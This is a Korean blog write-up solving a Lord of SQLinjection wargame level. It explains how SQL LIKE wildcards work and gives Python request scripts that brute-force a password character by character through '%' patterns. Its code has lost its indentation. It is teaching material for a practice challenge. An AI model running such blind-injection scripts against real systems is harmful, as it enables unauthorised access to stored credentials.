pw 입력값에 적용된 필터링은 싱글쿼터가 들어갈 수 없다.
이전 문제들과의 차이점은 파라미터 = ? 이런식으로 들어가지 않고 where pw like [ ? ] 이 부분에 문제를 풀 수 있는 payload를 넣어야 한다.
일단 기본적인 sql 문법 like와 따라다니는 것은 '%' 라는 것을 잊지말 것.
pw=%
이 경우에 hello guest 를 출력한다. 그러면 pw에 %는 반드시 포함한 후 힌트를 찾아야 한다.
%test | ~~test 로 끝나는 단어 |
%test% | 중간에 test가 포함되는 단어 |
test% | test~~~ 로 시작하는 단어 |
위 3가지 조건을 통해 pw를 찾아야 한다.
1) %test : test로 끝나는 단어는 앞에 무한대로 길어질 수 있기 때문에 시간상 오래걸린다.
2) %test% : 처음 접근시 test가 포함되는 단어를 하나씩 찾을 수 있긴 하지만, 이 단어들을 하나씩 조합해봐야 하기 때문에 시간 소요가 1번보다 적지만 없다고 할 수 없다.
3) test% : 가장 효율적인 방법이 맨 앞에서부터 차근차근 pw를 찾으면 빠를 것 같다.
먼저, 2번으로 접근해보았다.
import requests
url ="" #공격URL
cookies ={"PHPSESSID": ""} #쿠키값
for j in range(48, 122): #아스키코드값 48번부터 122번
payload = chr(j)
value = "%"+payload+"%".format(j) #injection payload
parmas = {'pw':value}
response = requests.get(url, params=parmas, cookies=cookies)
if "Hello guest" in response.text:
print(chr(j)) #chr(): 아스키코드값 -> 문자
print(chr(48))
%(문자)% 로 pw에 들어가는 문자를 먼저 찾았다.
숫자는 0,1,2,9가 들어가고 문자는 DEF(def) 가 들어가는 것 같다.
뭐 몇 개 안되니 일일히 하나씩 넣어봐도 되지만 시간이 걸릴 것 같으니 3번 방법을 써보도록 한다.
# LOS
# STEP 13 bugbear
import requests
url ="" #공격URL
cookies ={"PHPSESSID": ""} #쿠키값
payload=""
check=0
while 1:
for num in range(48,122):
tmp = payload + chr(num)+'%' #9% -> 90% -> 902%
params = {'pw': tmp}
response = requests.get(url, params=params, cookies=cookies)
if ("Hello admin" in response.text):
payload = payload +chr(num) #9 -> 90 -> 902 (한글자씩 쌓기)
print(">> " ,payload)
check = 1
if ("Hello guest" in response.text):
payload = payload +chr(num)
print("pw: " ,payload)
break
if check == 1: #찾으면 종료
break
(문자)%는 맨 앞글자 하나씩 붙어가면서 전체 pw를 찾기 때문에 훨씬 수월하게 pw를 찾을 수 있다.
pw=902% 까지만 찾아도 문제가 풀린다. pw의 전문을 다 안 찾아도 되는 듯
solve!!!!!
'WEB > Lord of SQLinjection' 카테고리의 다른 글
[LOS] step17. zombie_assassin 풀이 (0) | 2023.06.14 |
---|---|
[LOS] step16. SUCCUBUS 풀이 (0) | 2023.06.14 |
[LOS] step14. giant 풀이 (0) | 2023.06.13 |
[LOS] step13. BUGBEAR 풀이 (0) | 2023.06.13 |
[LOS] step12. darkknight 풀이 (1) | 2023.06.13 |